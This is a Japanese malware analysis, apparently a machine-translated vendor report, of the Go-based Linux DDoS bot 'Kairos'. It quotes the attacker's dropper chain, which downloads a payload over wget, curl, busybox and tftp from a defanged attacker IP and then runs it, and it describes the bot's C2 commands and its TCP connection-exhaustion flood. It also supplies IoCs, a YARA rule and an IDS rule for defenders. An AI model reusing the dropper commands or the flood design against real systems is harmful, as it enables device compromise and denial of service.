「Kairos Hold'em」:Go言語ベースの新たなDDoSボットネットを徹底分析

「Kairos Hold'em」:Go言語ベースの新たなDDoSボットネットを徹底分析

Kairosは、Go言語で記述された、これまで未公開だったLinux向けのDDoSボットです。その唯一の目的は、侵害されたマシンを、オペレーターのボットネットにおける攻撃ノードに変えることです。 コマンドを受けると、このボットはオペレーターが指定した標的に対して数百から数千のTCP接続を開き、指定された時間だけそれらを維持し、数秒ごとに1バイトのほぼ空のキープアライブパケットを送信し続けます。これにより、被害者のサービスは徐々にリソースを枯渇させられ、最終的に正当なユーザーを受け入れられなくなるまで追い込まれます。

当社のハニーポットによるテレメトリ調査の結果、3つの「Kairos」ビルドが特定されましたが、これらは実際には同一のプログラムであり、ハードコードされたC2アドレスとコンパイラのパッチレベルのみが異なっていました。これは、単一のコードベースを各C2サーバーごとに再コンパイルする「C2ごとにビルドする」という配布モデルを示唆しています。最初のアクセスは、デフォルトの認証情報(ユーザー名 ルート(パスワードは空欄)。その後、オペレーターは、ボットが後にホームサーバーとして呼び出すのと同じサーバーからHTTP経由でペイロードをダウンロードする短いシェルシーケンスを用いて、ペイロードをステージングしました。これらのビルドを分析した後、YARAルールを作成し、それを用いてVirusTotal上で脅威ハンティングを行ったところ、他のCPUアーキテクチャ向けのビルドを含め、さらに6つのサンプルが発見されました。

技術的な詳細

当社のハニーポットによって捕捉されたカイロス・サンプル

当社のハニーポットは、3つの異なるIPアドレスからカイロス(Kairos)のサンプルを送りつける攻撃を検知しました。各サンプルはそれぞれ異なるC2を指していました。ドロッパーは毎回同じパターンで動作し、ペイロードのホストのみが変化します。

表1.ペイロードの配信およびC2に使用されるIPアドレスとポート。

初期アクセス – ルートパスワードが空で、マルチフォールバック・ドロッパーを備えたTelnetログイン

攻撃者は、Telnetのデフォルトの認証情報(ユーザー名「root」、パスワードは空)を推測することでアクセス権を取得しました。ペイロードを投入するため、攻撃者は以下のコマンドを実行しました(ここでは1つの完全なコマンドチェーンを示していますが、インフラストラクチャの完全なリストは「IoCs」セクションに記載されています):

  • uname -m: 対象アーキテクチャを特定します。後で要求されるペイロード(/x86_64) がこれと一致しており、これはアーキテクチャごとのペイロードが存在することを示唆している。
  • cd /tmp: 複数ユーザーが書き込み可能なステージングディレクトリに移動します。
  • rm -rf bot* .bot* 2>/dev/null: 以前のデプロイ試行によって残されたアーティファクトを削除します。
  • wget http://172[.]86[.]85[.]39:8080/x86_64 -O .bot: 優先的なダウンロードを試行し、失敗した場合は静音モードのwgetに切り替えます。
  • chmod 777 .bot && ./.bot &: ペイロードを実行可能にし、バックグラウンドで起動します。
  • curl http://172[.]86[.]85[.]39:8080/x86_64 -o .bot2: curl を使用してダウンロードを再試行します。
  • chmod 777 .bot2 && ./.bot2 &: ダウンロードした2つ目のコピーを実行します。
  • busybox wget http://172[.]86[.]85[.]39:8080/x86_64 -O .bot3: BusyBox 実装の wget を別のフォールバックとして使用し、最小限の組み込みシステムでもローダーが動作するようにしています。
  • chmod 777 .bot3 && ./.bot3 &: 3番目のコピーをバックグラウンドで実行します。
  • tftp -g -r x86_64 -l .bot4 172[.]86[.]85[.]39: TFTP 経由で最後のダウンロードを試行します。.bot4 を実行するコマンドは確認されませんでした。

この攻撃チェーンにおいて、172[.]86[.]85[.]39 は 2 つの役割を担っています。すなわち、TCP/8080 ポートでペイロードをホストすると同時に、TCP/9999 ポートで C2 として機能しています。

図1.x86_64ペイロードのダウンロードおよび実行に使用されるドロッパーコマンド

C2通信 – REGISTERビーコンからホールドコマンドまで

実行されると、ボットのセッションロジック全体は単一の関数内に収められます。ボットは、TCPポート9999上の1つのハードコードされたIPv4アドレスに接続し、1行のREGISTERビーコンで自身を通知します:

REGISTER linux amd64 <NumCPU>

<NumCPU> は、以下から読み込まれます runtime.ncpu、これは、後でボットが起動する攻撃用ワーカーの数を決定する値と同じものです。

図2.KairosボットがC2に登録する様子

その後、キープアライブ用のゴルーチンが2秒ごとに改行文字を1つ書き込みます。書き込みに失敗するとセッションは終了し、main.main内のスーパーバイザーループが5秒ごとに再接続を試みます。この際、ジッターや再試行回数の制限は設けられていません。

C2は、ボットに対して、平文のコマンドを正確に3つ送信することができます:

  • hold <host> <port> <seconds>: 指定された時間、ターゲットに対して接続枯渇攻撃を開始します。
  • !ka (kill all):ボットを一時停止し、実行中のすべての攻撃を中止します。
  • !ku (kill unpause):ボットが再び攻撃コマンドを受け付けられるようにします。
図3.オペレーターがボットに対して発行した「!ku」コマンド
図4. !ka、!ku、およびholdコマンドの構文 解析。

コマンドを受けると、TCP接続を使い果たすようなフラッド攻撃を開始する。数百から数千のソケットが同時に開かれ、各ソケットは5秒ごとに1つのスペース文字を送信することで接続を維持し続ける。

このバイナリには、どこにも永続化、自己拡散、コマンド実行、ペイロードのダウンロード、あるいは解析回避ロジックは存在しません。

Goの関数名テーブル(.gopclntab) は、私たちが分析したすべてのビルドでそのまま残っており、これにより、攻撃コードに対する開発者自身の命名を含むすべてのシンボルを復元することができました(kairos/methods.HoldFlood そして kairos/methods.holdConn)、そしてデコンパイルされたディスパッチャーからコマンドセット全体を再構築する。

図5.ボットのディスパッチャにおける「ホールド」コマンドのチェック処理の分解。

攻撃――何千ものアイドル状態のTCP接続を用いて、被害者支援サービスを機能不全に陥らせる

main.startFlood ホスト:ポートごとに各攻撃を追跡します。同じターゲットに対して別のホールド攻撃を開始すると、以前の攻撃は停止して置き換えられますが、 !ka 現在進行中のすべての攻撃を停止させる。

この攻撃自体は、単一の技である:

  • ワーカー:このボットは、CPUコア1つにつき128個のワーカーを起動し、最低でも256個を起動します。16コアのホストの場合、1回の攻撃につき2,048件の同時接続試行が発生し、これに、異なるターゲットに対して並行して実行されている攻撃の数が乗じられます。
  • 接続の処理:各ワーカーは、5秒のタイムアウトを設定して通常のTCPハンドシェイクを完了させた後、5秒ごとにスペース文字(0x20)を1つ送信することでソケットを開いたままにします。接続に失敗した場合は100ミリ秒ごとに再試行されるため、接続を拒否するポートに対しては、ワーカーが高速な接続ストームを引き起こすことになります。
  • 送信元が特定可能:これは偽装されたSYNフラッドではありません。ボットは実際のハンドシェイクを完了するため、その送信元IPアドレスは被害者に完全に把握され、攻撃は感染したデバイスまで追跡可能です。
  • ボットへの影響:接続が行われるたびに、感染したデバイスのリソースも消費されます。大規模な攻撃が行われると、ファイルディスクリプタや接続追跡テーブルが枯渇し、デバイス自身のネットワークアクセスに支障をきたす可能性があります。
図6.holdConnの逆コンパイル結果。5秒ごとのティックと、各ソケットの接続を維持するために使用される1バイトの0x20書き込みが示されている。

1つのコードベース、多数のビルド – C2サーバーごとにボットを再コンパイルする

C2のIPアドレスが異なるだけで、おそらくGoのバージョンも異なる(1.27.0と1.27.1を確認した)3つの異なるサンプルを収集しました。

表2.各ビルドごとのSHA-256、C2 IP、およびGoのバージョン。

‍それ以外のすべて(ELFレイアウト、関数アドレス、タイミング定数、プロトコル全体)は同一です。これは防御側にとって2つの影響をもたらします。

まず、コードベースの指標はデプロイメント間で安定しているため、あるビルドに対して作成されたファイルやネットワークのシグネチャは、次のビルドにも引き継がれます。

第二に、インフラ指標は設計上、周期的に変化する。既知のC2アドレスはすべて、フォールバックのない単一の平文IPv4リテラルであるため、これら3つのアドレスをブロックまたはシンクホール化すれば、既知の3つのフリートを無力化できる。しかし、新しいアドレスを持つ新しいビルドについては、検出されないままとなる。

このキャンペーンが、当社のハニーポットで捕捉されたサンプル以外にも広がっているかどうかを確認するため、CPUアーキテクチャに依存しないバージョンのYARAルールを使用して、VirusTotal上で脅威ハンティングを実施しました。その結果、前述のamd64ビルドに加え、ARM、MIPS(ビッグエンディアンおよびリトルエンディアン)、32ビットx86向けにコンパイルされたKairosのサンプルがさらに6つ発見されました。これらのサンプルを分析したところ、同じGoシンボルが確認され、 登録 ビーコン、コマンドセット、および [kworker/0:1] 偽装機能。6つすべてが、既知のC2サーバー「172[.]86[.]85[.]39」をTCPポート9999で利用するように設定されています。それらのハッシュ値は、IoCセクションに記載されています。

見透かしやすい偽装――[kworker/0:1] カーネルスレッドを装う

ステルス性への唯一の配慮は、見た目の面でのものにとどまる。起動時、ボットは自身の os.Args[0] への [kworker/0:1]、Linuxカーネルのワーカースレッドを模倣して。

ただし、この代入文では Go の変数のみが変更されます os.Args. このボットは、プロセスの元のargvメモリを上書きせず、また決して prctl(PR_SET_NAME), なので /proc/<pid>/cmdline, /proc/<pid>/comm そして 追伸 依然として実際のバイナリ名が表示される。

このアーティファクトは、今でも有用なハンティング用文字列です。リテラルを含むユーザーランドバイナリ [kworker/0:1] Goのビルドパスとともに kairos/bot ほぼ間違いなくカイロスであり、数百もの送信側TCP接続を保持している「カーネルワーカー」は明らかに不審だ。

図7.Kairosは、os.Args[0]を変更することで[kworker/0:1]になりすます。

結論 ― カイロスは単純だが、それでも検出する価値がある理由

Kairosは、私たちが通常追跡しているMiraiベースのファミリーとは異なる、Linux DDoSの世界の一面を見せています。これは、単一の攻撃を中心に構築された、小規模でクリーンなGoプログラムであり、その攻撃は巧妙に実行され、それ以外の機能は一切備えていません。 コードの品質は良好です。適切なタスクのキャンセル、ロックされた共有状態、ターゲットごとに1回の攻撃、正しいIPv6アドレスの処理、そして登録時に報告されるCPUコア数などが挙げられます。しかし、その手法は基本的なものです。フォールバックも、永続化も、コマンド実行機能もなく、単一の平文エンドポイントのみが使用されており、一瞥しただけでわかる偽のプロセス名が /proc 明かしてしまう。

すべてのビルドは単に新しいC2アドレスで再コンパイルされるだけであるため、コードは変わらない一方で、インフラストラクチャは設計上変化します。したがって、IPアドレスのブロックは一時的な対策に過ぎないため、検知にはコードベースのシグネチャに依存すべきです。防御側にとって、このキャンペーンのすべては、rootパスワードが空のまま公開されているTelnetサービスという、たった一つの単純なミスから始まります。Telnetを無効にし、デフォルトの認証情報を変更し、平文での 登録 ビーコンこそが、このような小規模な艦隊の拡大を食い止める最も手っ取り早い手段だ。

図8. Kairos REGISTER コマンドの検出 (「パケットルール」のセクションを参照)

緩和策と提言

  • C2エンドポイントをブロックします。ポート9999および8080における91[.]92[.]42[.]84、172[.]86[.]85[.]39、85[.]11[.]167[.]41へのアウトバウンド通信を拒否し、これらへの接続試行があった場合はアラートを発します。 このボットには代替のC2が存在しないため、これにより既知の3つのボット群を無力化できます。また、IoCに記載されている3つの攻撃者IPもブロックしてください。
  • プロトコルを検出する。 平文上の単一のIDSシグネチャ linux の登録 すべての観測事例においてTCPポート9999に送信されるビーコンは、どのビルドにおいてもボットを識別します(以下の「パケットルール」のセクションを参照)。分析対象となったamd64ビルドは、 登録 Linux AMD64、 一方、その他のビルドは独自のアーキテクチャを報告しています。
  • 管理者のアクセス権限を最小限に抑える。可能な限りTelnetを無効にし、デフォルトのパスワードや空のパスワードを変更する。
  • 以下のYARAルールを、ファイルおよびメモリのスキャンパイプライン全体に適用してください。

資産所有者は、「Nozomi 」Networks OT /IoT セキュリティプラットフォームの高度な機能を活用することで、露出しているデバイスを特定し、ここで説明したC2ビーコンやフラッド行為を、業務に支障をきたす前に検知・警告することができます。「Nozomi 」Networks OT /IoT セキュリティプラットフォームの詳細や実際の動作を確認するには、今すぐデモをご依頼ください。

MITRE ATT&CK マッピング

初期アクセス

  • T1078.001 – 有効なアカウント:デフォルトのアカウント:観測されたすべてのデプロイメントは、Telnet ログインから始まり、ログインユーザーは ルート パスワードが空の場合

実行

  • T1059.004 – Unixシェル:デプロイ全体がシェルによるステージングシーケンスで構成されています(uname、wget/curl/busybox/tftp、chmod、 (バックグラウンド実行)。

インパクト

  • T1498.001– ネットワークサービス拒否(DoS):直接ネットワークフラッド:ターゲットポートが接続を拒否した場合、各ワーカーは100ミリ秒ごとに再試行を行い、この攻撃を高頻度のTCPコネクトフラッドへと変える。
  • T1499.002– エンドポイントに対するサービス拒否攻撃:サービス枯渇型フラッド:数百から数千の、ほぼアイドル状態の保持ソケットが、被害者のサービスの接続テーブルまたはワーカープールを枯渇させる。

指揮統制

  • T1095– アプリケーション層以外のプロトコル:固定IP:9999上で動作するカスタム平文TCPプロトコル。コマンドは改行で区切られ、2秒ごとにハートビートを送信する。
  • T1105– Ingressツール転送:確認された3つのC2ホストはすべて、ローダーセッションにおいて、標準のHTTPポート8080上のペイロードサーバーとしても機能している。

ステルス

  • T1036.005 – なりすまし:正規のリソース名または場所と一致する: os.Args[0] 次のように書き換える [kworker/0:1]; 影響しない /proc メタデータ。

IoC

  • 103[.]124[.]165[.]53
  • 172[.]86[.]85[.]39
  • 45[.]129[.]56[.]140
  • 91[.]92[.]42[.]84
  • 45[.]129[.]56[.]222
  • 85[.]11[.]167[.]41
  • bfdf77ee849bffff7d6812f343841f3278e6e75949ab3e25644f17c24be87213 (amd64)
  • 181d1adfcf2da42afaa8fc1ceb4493cf2322c18431f3512673f4693e11b9cabd (amd64)
  • 87a77b056a6cf33ab3f72b534d57788046281349aacd42846f3df5e0b22655e1 (amd64)
  • 01568930028bdcce6ecd7e923971cf41f145e045e59536aa264241bc9a8e9650 (arm)
  • 7635821eced7092e916e86471567e26c20ee5bda4a7b96f6b3d21a921862a416 (arm)
  • 82d0f2258b2eeeeacfaa719665e0435619f8cc2f1d5dd13dd08134e0bf2d7dd6 (arm)
  • 5743ebfc697385909b3906af1ac9d851936e6556f323216e10cc1e129fa369a0 (mips)
  • 1ef5835cb0dfe305de05d92874c8a05eada9c02fcd04d9548dd059b44405519a (mipsle)
  • 9b628b5453576f3324036deb346db9cdd07bd673ecba4a464d072ba01a8b7a54 (386)

YARA

// Nozomi Networks Labs

rule ENTERPRISE_DDOS_Kairos_bot
{
meta:
name = "Kairos - DDOS"
description = "Detects the Kairos Linux Go DDoS bot using family-specific build metadata, symbols, and compiled behavior"
author = "Nozomi Networks Labs"
hash1 = "bfdf77ee849bffff7d6812f343841f3278e6e75949ab3e25644f17c24be87213"
hash2 = "181d1adfcf2da42afaa8fc1ceb4493cf2322c18431f3512673f4693e11b9cabd"
hash3 = "87a77b056a6cf33ab3f72b534d57788046281349aacd42846f3df5e0b22655e1"
hash4 = "01568930028bdcce6ecd7e923971cf41f145e045e59536aa264241bc9a8e9650"
hash5 = "7635821eced7092e916e86471567e26c20ee5bda4a7b96f6b3d21a921862a416"
hash6 = "82d0f2258b2eeeeacfaa719665e0435619f8cc2f1d5dd13dd08134e0bf2d7dd6"
hash7 = "5743ebfc697385909b3906af1ac9d851936e6556f323216e10cc1e129fa369a0"
hash8 = "1ef5835cb0dfe305de05d92874c8a05eada9c02fcd04d9548dd059b44405519a"
hash9 = "9b628b5453576f3324036deb346db9cdd07bd673ecba4a464d072ba01a8b7a54"

strings:
$identity_build = "path\tkairos/bot\n" ascii
$identity_flood = "kairos/methods.HoldFlood" ascii
$identity_hold = "kairos/methods.holdConn" ascii

$code_dispatch_control = {
48 83 F9 03 75 ?? 0F B7 0A 66 81 F9 21 6B 75 ??
80 7A 02 61 74 ?? 66 81 F9 21 6B
}

$code_dispatch_hold = {
48 83 F9 04 0F 85 ?? ?? ?? ?? 81 3A 68 6F 6C 64
}

$code_workers_scale = {
48 63 15 ?? ?? ?? ?? 48 C1 E2 07
}

$code_workers_floor = {
48 81 FA 00 01 00 00 BE 00 01 00 00 48 0F 4C D6
}

$support_registration = "REGISTER linux" ascii
$support_masquerade = "[kworker/0:1]" ascii

condition:
uint32(0) == 0x464C457F and
filesize > 500KB and
filesize < 4MB and
(
2 of ($identity_*) or
(
all of ($code_*) and
any of ($support_*)
)
)
}

パケットルール

#Nozomi Networks Labs

alert tcp $HOME_NET any -> $EXTERNAL_NET 9999 (msg:"Nozomi Networks Labs - Kairos ボットネットの C2 登録ビーコン"; flow:established,to_server; content:"REGISTER linux "; offset:0; depth:15; fast_pattern; sid:9000874; rev:1;)

‍

‍

見つかりませんでした.